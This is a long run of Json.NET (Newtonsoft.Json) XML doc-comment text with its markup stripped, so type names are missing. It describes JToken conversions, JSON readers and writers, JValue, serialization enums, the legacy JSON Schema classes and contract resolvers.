- Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from [] to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Creates a for this token. - - A that can be used to read this token and its descendants. - - - - Creates a from an object. - - The object that will be used to create . - A with the value of the specified object. - - - - Creates a from an object using the specified . - - The object that will be used to create . - The that will be used when reading the object. - A with the value of the specified object. - - - - Creates an instance of the specified .NET type from the . - - The object type that the token will be deserialized to. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the . - - The object type that the token will be deserialized to. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the using the specified . - - The object type that the token will be deserialized to. - The that will be used when creating the object. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the using the specified . - - The object type that the token will be deserialized to. - The that will be used when creating the object. - The new object created from the JSON value. - - - - Creates a from a . - - A positioned at the token to read into this . - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Creates a from a . - - An positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - - - Creates a from a . - - A positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Creates a from a . - - A positioned at the token to read into this . - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - A , or null. - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. - A . - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - The used to select tokens. - A . - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - An of that contains the selected elements. - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. - An of that contains the selected elements. - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - The used to select tokens. - An of that contains the selected elements. - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Creates a new instance of the . All child tokens are recursively cloned. - - A new instance of the . - - - - Creates a new instance of the . All child tokens are recursively cloned. - - A object to configure cloning settings. - A new instance of the . - - - - Adds an object to the annotation list of this . - - The annotation to add. - - - - Get the first annotation object of the specified type from this . - - The type of the annotation to retrieve. - The first annotation object that matches the specified type, or null if no annotation is of the specified type. - - - - Gets the first annotation object of the specified type from this . - - The of the annotation to retrieve. - The first annotation object that matches the specified type, or null if no annotation is of the specified type. - - - - Gets a collection of annotations of the specified type for this . - - The type of the annotations to retrieve. - An that contains the annotations for this . - - - - Gets a collection of annotations of the specified type for this . - - The of the annotations to retrieve. - An of that contains the annotations that match the specified type for this . - - - - Removes the annotations of the specified type from this . - - The type of annotations to remove. - - - - Removes the annotations of the specified type from this . - - The of annotations to remove. - - - - Compares tokens to determine whether they are equal. - - - - - Determines whether the specified objects are equal. - - The first object of type to compare. - The second object of type to compare. - - true if the specified objects are equal; otherwise, false. - - - - - Returns a hash code for the specified object. - - The for which a hash code is to be returned. - A hash code for the specified object. - The type of is a reference type and is null. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. - - - - - Gets the at the reader's current position. - - - - - Initializes a new instance of the class. - - The token to read from. - - - - Initializes a new instance of the class. - - The token to read from. - The initial path of the token. It is prepended to the returned . - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Gets the path of the current JSON token. - - - - - Specifies the type of token. - - - - - No token type has been set. - - - - - A JSON object. - - - - - A JSON array. - - - - - A JSON constructor. - - - - - A JSON object property. - - - - - A comment. - - - - - An integer value. - - - - - A float value. - - - - - A string value. - - - - - A boolean value. - - - - - A null value. - - - - - An undefined value. - - - - - A date value. - - - - - A raw JSON value. - - - - - A collection of bytes value. - - - - - A Guid value. - - - - - A Uri value. - - - - - A TimeSpan value. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Gets the at the writer's current position. - - - - - Gets the token being written. - - The token being written. - - - - Initializes a new instance of the class writing to the given . - - The container being written to. - - - - Initializes a new instance of the class. - - - - - Flushes whatever is in the buffer to the underlying . - - - - - Closes this writer. - If is set to true, the JSON is auto-completed. - - - Setting to true has no additional effect, since the underlying is a type that cannot be closed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the end. - - The token. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Writes a value. - An error will be raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Represents a value in JSON (string, integer, date, etc). - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Creates a comment with the given value. - - The value. - A comment with the given value. - - - - Creates a string with the given value. - - The value. - A string with the given value. - - - - Creates a null value. - - A null value. - - - - Creates a undefined value. - - A undefined value. - - - - Gets the node type for this . - - The type. - - - - Gets or sets the underlying token value. - - The underlying token value. - - - - Writes this token to a . - - A into which this method will write. - A collection of s which will be used when writing the token. - - - - Indicates whether the current object is equal to another object of the same type. - - - true if the current object is equal to the parameter; otherwise, false. - - An object to compare with this object. - - - - Determines whether the specified is equal to the current . - - The to compare with the current . - - true if the specified is equal to the current ; otherwise, false. - - - - - Serves as a hash function for a particular type. - - - A hash code for the current . - - - - - Returns a that represents this instance. - - - ToString() returns a non-JSON string value for tokens with a type of . - If you want the JSON for all token types then you should use . - - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format. - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format provider. - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format. - The format provider. - - A that represents this instance. - - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. - - An object to compare with this instance. - - A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: - Value - Meaning - Less than zero - This instance is less than . - Zero - This instance is equal to . - Greater than zero - This instance is greater than . - - - is not of the same type as this instance. - - - - - Specifies how line information is handled when loading JSON. - - - - - Ignore line information. - - - - - Load line information. - - - - - Specifies how JSON arrays are merged together. - - - - Concatenate arrays. - - - Union arrays, skipping items that already exist. - - - Replace all array items. - - - Merge array items together, matched by index. - - - - Specifies how null value properties are merged. - - - - - The content's null value properties will be ignored during merging. - - - - - The content's null value properties will be merged. - - - - - Specifies the member serialization options for the . - - - - - All public members are serialized by default. Members can be excluded using or . - This is the default member serialization mode. - - - - - Only members marked with or are serialized. - This member serialization mode can also be set by marking the class with . - - - - - All public and private fields are serialized. Members can be excluded using or . - This member serialization mode can also be set by marking the class with - and setting IgnoreSerializableAttribute on to false. - - - - - Specifies metadata property handling options for the . - - - - - Read metadata properties located at the start of a JSON object. - - - - - Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. - - - - - Do not try to read metadata properties. - - - - - Specifies missing member handling options for the . - - - - - Ignore a missing member and do not attempt to deserialize it. - - - - - Throw a when a missing member is encountered during deserialization. - - - - - Specifies null value handling options for the . - - - - - - - - - Include null values when serializing and deserializing objects. - - - - - Ignore null values when serializing and deserializing objects. - - - - - Specifies how object creation is handled by the . - - - - - Reuse existing objects, create new objects when needed. - - - - - Only reuse existing objects. - - - - - Always create new objects. - - - - - Specifies reference handling options for the . - Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . - - - - - - - - Do not preserve references when serializing types. - - - - - Preserve references when serializing into a JSON object structure. - - - - - Preserve references when serializing into a JSON array structure. - - - - - Preserve references when serializing. - - - - - Specifies reference loop handling options for the . - - - - - Throw a when a loop is encountered. - - - - - Ignore loop references and do not serialize. - - - - - Serialize loop references. - - - - - Indicating whether a property is required. - - - - - The property is not required. The default state. - - - - - The property must be defined in JSON but can be a null value. - - - - - The property must be defined in JSON and cannot be a null value. - - - - - The property is not required but it cannot be a null value. - - - - - - Contains the JSON schema extension methods. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - - Determines whether the is valid. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - - true if the specified is valid; otherwise, false. - - - - - - Determines whether the is valid. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - When this method returns, contains any error messages generated while validating. - - true if the specified is valid; otherwise, false. - - - - - - Validates the specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - - - - - Validates the specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - The validation event handler. - - - - - An in-memory representation of a JSON Schema. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets the id. - - - - - Gets or sets the title. - - - - - Gets or sets whether the object is required. - - - - - Gets or sets whether the object is read-only. - - - - - Gets or sets whether the object is visible to users. - - - - - Gets or sets whether the object is transient. - - - - - Gets or sets the description of the object. - - - - - Gets or sets the types of values allowed by the object. - - The type. - - - - Gets or sets the pattern. - - The pattern. - - - - Gets or sets the minimum length. - - The minimum length. - - - - Gets or sets the maximum length. - - The maximum length. - - - - Gets or sets a number that the value should be divisible by. - - A number that the value should be divisible by. - - - - Gets or sets the minimum. - - The minimum. - - - - Gets or sets the maximum. - - The maximum. - - - - Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). - - A flag indicating whether the value can not equal the number defined by the minimum attribute (). - - - - Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). - - A flag indicating whether the value can not equal the number defined by the maximum attribute (). - - - - Gets or sets the minimum number of items. - - The minimum number of items. - - - - Gets or sets the maximum number of items. - - The maximum number of items. - - - - Gets or sets the of items. - - The of items. - - - - Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . - - - true if items are validated using their array position; otherwise, false. - - - - - Gets or sets the of additional items. - - The of additional items. - - - - Gets or sets a value indicating whether additional items are allowed. - - - true if additional items are allowed; otherwise, false. - - - - - Gets or sets whether the array items must be unique. - - - - - Gets or sets the of properties. - - The of properties. - - - - Gets or sets the of additional properties. - - The of additional properties. - - - - Gets or sets the pattern properties. - - The pattern properties. - - - - Gets or sets a value indicating whether additional properties are allowed. - - - true if additional properties are allowed; otherwise, false. - - - - - Gets or sets the required property if this property is present. - - The required property if this property is present. - - - - Gets or sets the a collection of valid enum values allowed. - - A collection of valid enum values allowed. - - - - Gets or sets disallowed types. - - The disallowed types. - - - - Gets or sets the default value. - - The default value. - - - - Gets or sets the collection of that this schema extends. - - The collection of that this schema extends. - - - - Gets or sets the format. - - The format. - - - - Initializes a new instance of the class. - - - - - Reads a from the specified . - - The containing the JSON Schema to read. - The object representing the JSON Schema. - - - - Reads a from the specified . - - The containing the JSON Schema to read. - The to use when resolving schema references. - The object representing the JSON Schema. - - - - Load a from a string that contains JSON Schema. - - A that contains JSON Schema. - A populated from the string that contains JSON Schema. - - - - Load a from a string that contains JSON Schema using the specified . - - A that contains JSON Schema. - The resolver. - A populated from the string that contains JSON Schema. - - - - Writes this schema to a . - - A into which this method will write. - - - - Writes this schema to a using the specified . - - A into which this method will write. - The resolver used. - - - - Returns a that represents the current . - - - A that represents the current . - - - - - - Returns detailed information about the schema exception. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - - Generates a from a specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets how undefined schemas are handled by the serializer. - - - - - Gets or sets the contract resolver. - - The contract resolver. - - - - Generate a from the specified type. - - The type to generate a from. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - The used to resolve schema references. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - Specify whether the generated root will be nullable. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - The used to resolve schema references. - Specify whether the generated root will be nullable. - A generated from the specified type. - - - - - Resolves from an id. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets the loaded schemas. - - The loaded schemas. - - - - Initializes a new instance of the class. - - - - - Gets a for the specified reference. - - The id. - A for the specified reference. - - - - - The value types allowed by the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - No type specified. - - - - - String type. - - - - - Float type. - - - - - Integer type. - - - - - Boolean type. - - - - - Object type. - - - - - Array type. - - - - - Null type. - - - - - Any type. - - - - - - Specifies undefined schema Id handling options for the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Do not infer a schema Id. - - - - - Use the .NET type name as the schema Id. - - - - - Use the assembly qualified .NET type name as the schema Id. - - - - - - Returns detailed information related to the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets the associated with the validation error. - - The JsonSchemaException associated with the validation error. - - - - Gets the path of the JSON location where the validation error occurred. - - The path of the JSON location where the validation error occurred. - - - - Gets the text description corresponding to the validation error. - - The text description. - - - - - Represents the callback method that will handle JSON schema validation events and the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Allows users to control class loading and mandate what class to load. - - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - Specifies the name of the serialized object. - Specifies the name of the serialized object - The type of the object the formatter creates a new instance of. - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - The type of the object the formatter creates a new instance of. - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - - - A camel case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Resolves member mappings for a type, camel casing property names. - - - - - Initializes a new instance of the class. - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Used by to resolve a for a given . - - - - - Gets a value indicating whether members are being get and set using dynamic code generation. - This value is determined by the runtime permissions available. - - - true if using dynamic code generation; otherwise, false. - - - - - Gets or sets a value indicating whether compiler generated members should be serialized. - - - true if serialized compiler generated members; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. - - - true if the interface will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. - - - true if the attribute will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. - - - true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. - - - true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. - - The naming strategy used to resolve how property names and dictionary keys are serialized. - - - - Initializes a new instance of the class. - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Gets the serializable members for the type. - - The type to get serializable members for. - The serializable members for the type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates the constructor parameters. - - The constructor to create properties for. - The type's member properties. - Properties for the given . - - - - Creates a for the given . - - The matching member property. - The constructor parameter. - A created for the given . - - - - Resolves the default for the contract. - - Type of the object. - The contract's default . - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Determines which contract type is created for the given type. - - Type of the object. - A for the given type. - - - - Creates properties for the given . - - The type to create properties for. - /// The member serialization mode for the type. - Properties for the given . - - - - Creates the used by the serializer to get and set values from a member. - - The member. - The used by the serializer to get and set values from a member. - - - - Creates a for the given . - - The member's parent . - The member to create a for. - A created for the given . - - - - Resolves the name of the property. - - Name of the property. - Resolved name of the property. - - - - Resolves the name of the extension data. By default no changes are made to extension data names. - - Name of the extension data. - Resolved name of the extension data. - - - - Resolves the key of the dictionary. By default is used to resolve dictionary keys. - - Key of the dictionary. - Resolved key of the dictionary. - - - - Gets the resolved name of the property. - - Name of the property. - Name of the property. - - - - The default naming strategy. Property names and dictionary keys are unchanged. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - The default serialization binder used when resolving and loading classes from type names. - - - - - Initializes a new instance of the class. - - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - The type of the object the formatter creates a new instance of. - - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - The type of the object the formatter creates a new instance of. - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - - - Provides information surrounding an error. - - - - - Gets the error. - - The error. - - - - Gets the original object that caused the error. - - The original object that caused the error. - - - - Gets the member that caused the error. - - The member that caused the error. - - - - Gets the path of the JSON location where the error occurred. - - The path of the JSON location where the error occurred. - - - - Gets or sets a value indicating whether this is handled. - - true if handled; otherwise, false. - - - - Provides data for the Error event. - - - - - Gets the current object the error event is being raised against. - - The current object the error event is being raised against. - - - - Gets the error context. - - The error context. - - - - Initializes a new instance of the class. - - The current object. - The error context. - - - - Get and set values for a using dynamic methods. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Provides methods to get attributes. - - - - - Returns a collection of all of the attributes, or an empty collection if there are no attributes. - - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. - - The type of the attributes. - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Used by to resolve a for a given . - - - - - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Used to resolve references when serializing and deserializing JSON by the . - - - - - Resolves a reference to its object. - - The serialization context. - The reference to resolve. - The object that was resolved from the reference. - - - - Gets the reference for the specified object. - - The serialization context. - The object to get a reference for. - The reference to the object. - - - - Determines whether the specified object is referenced. - - The serialization context. - The object to test for a reference. - - true if the specified object is referenced; otherwise, false. - - - - - Adds a reference to the specified object. - - The serialization context. - The reference. - The object to reference. - - - - Allows users to control class loading and mandate what class to load. - - - - - When implemented, controls the binding of a serialized object to a type. - - Specifies the name of the serialized object. - Specifies the name of the serialized object - The type of the object the formatter creates a new instance of. - - - - When implemented, controls the binding of a serialized object to a type. - - The type of the object the formatter creates a new instance of. - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - - - Represents a trace writer. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - The that will be used to filter the trace messages passed to the writer. - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Provides methods to get and set values. - - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Contract details for a used by the . - - - - - Gets the of the collection items. - - The of the collection items. - - - - Gets a value indicating whether the collection type is a multidimensional array. - - true if the collection type is a multidimensional array; otherwise, false. - - - - Gets or sets the function used to create the object. When set this function will override . - - The function used to create the object. - - - - Gets a value indicating whether the creator has a parameter with the collection values. - - true if the creator has a parameter with the collection values; otherwise, false. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the default collection items . - - The converter. - - - - Gets or sets a value indicating whether the collection items preserve object references. - - true if collection items preserve object references; otherwise, false. - - - - Gets or sets the collection item reference loop handling. - - The reference loop handling. - - - - Gets or sets the collection item type name handling. - - The type name handling. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Handles serialization callback events. - - The object that raised the callback event. - The streaming context. - - - - Handles serialization error callback events. - - The object that raised the callback event. - The streaming context. - The error context. - - - - Sets extension data for an object during deserialization. - - The object to set extension data on. - The extension data key. - The extension data value. - - - - Gets extension data for an object during serialization. - - The object to set extension data on. - - - - Contract details for a used by the . - - - - - Gets the underlying type for the contract. - - The underlying type for the contract. - - - - Gets or sets the type created during deserialization. - - The type created during deserialization. - - - - Gets or sets whether this type contract is serialized as a reference. - - Whether this type contract is serialized as a reference. - - - - Gets or sets the default for this contract. - - The converter. - - - - Gets the internally resolved for the contract's type. - This converter is used as a fallback converter when no other converter is resolved. - Setting will always override this converter. - - - - - Gets or sets all methods called immediately after deserialization of the object. - - The methods called immediately after deserialization of the object. - - - - Gets or sets all methods called during deserialization of the object. - - The methods called during deserialization of the object. - - - - Gets or sets all methods called after serialization of the object graph. - - The methods called after serialization of the object graph. - - - - Gets or sets all methods called before serialization of the object. - - The methods called before serialization of the object. - - - - Gets or sets all method called when an error is thrown during the serialization of the object. - - The methods called when an error is thrown during the serialization of the object. - - - - Gets or sets the default creator method used to create the object. - - The default creator method used to create the object. - - - - Gets or sets a value indicating whether the default creator is non-public. - - true if the default object creator is non-public; otherwise, false. - - - - Contract details for a used by the . - - - - - Gets or sets the dictionary key resolver. - - The dictionary key resolver. - - - - Gets the of the dictionary keys. - - The of the dictionary keys. - - - - Gets the of the dictionary values. - - The of the dictionary values. - - - - Gets or sets the function used to create the object. When set this function will override . - - The function used to create the object. - - - - Gets a value indicating whether the creator has a parameter with the dictionary values. - - true if the creator has a parameter with the dictionary values; otherwise, false. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets the object's properties. - - The object's properties. - - - - Gets or sets the property name resolver. - - The property name resolver. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the object constructor. - - The object constructor. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the object member serialization. - - The member object serialization. - - - - Gets or sets the missing member handling used when deserializing this object. - - The missing member handling. - - - - Gets or sets a value that indicates whether the object's properties are required. - - - A value indicating whether the object's properties are required. - - - - - Gets or sets how the object's properties with null values are handled during serialization and deserialization. - - How the object's properties with null values are handled during serialization and deserialization. - - - - Gets the object's properties. - - The object's properties. - - - - Gets a collection of instances that define the parameters used with . - - - - - Gets or sets the function used to create the object. When set this function will override . - This function is called with a collection of arguments which are defined by the collection. - - The function used to create the object. - - - - Gets or sets the extension data setter. - - - - - Gets or sets the extension data getter. - - - - - Gets or sets the extension data value type. - - - - - Gets or sets the extension data name resolver. - - The extension data name resolver. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Maps a JSON property to a .NET member or constructor parameter. - - - - - Gets or sets the name of the property. - - The name of the property. - - - - Gets or sets the type that declared this property. - - The type that declared this property. - - - - Gets or sets the order of serialization of a member. - - The numeric order of serialization. - - - - Gets or sets the name of the underlying member or parameter. - - The name of the underlying member or parameter. - - - - Gets the that will get and set the during serialization. - - The that will get and set the during serialization. - - - - Gets or sets the for this property. - - The for this property. - - - - Gets or sets the type of the property. - - The type of the property. - - - - Gets or sets the for the property. - If set this converter takes precedence over the contract converter for the property type. - - The converter. - - - - Gets or sets the member converter. - - The member converter. - - - - Gets or sets a value indicating whether this is ignored. - - true if ignored; otherwise, false. - - - - Gets or sets a value indicating whether this is readable. - - true if readable; otherwise, false. - - - - Gets or sets a value indicating whether this is writable. - - true if writable; otherwise, false. - - - - Gets or sets a value indicating whether this has a member attribute. - - true if has a member attribute; otherwise, false. - - - - Gets the default value. - - The default value. - - - - Gets or sets a value indicating whether this is required. - - A value indicating whether this is required. - - - - Gets a value indicating whether has a value specified. - - - - - Gets or sets a value indicating whether this property preserves object references. - - - true if this instance is reference; otherwise, false. - - - - - Gets or sets the property null value handling. - - The null value handling. 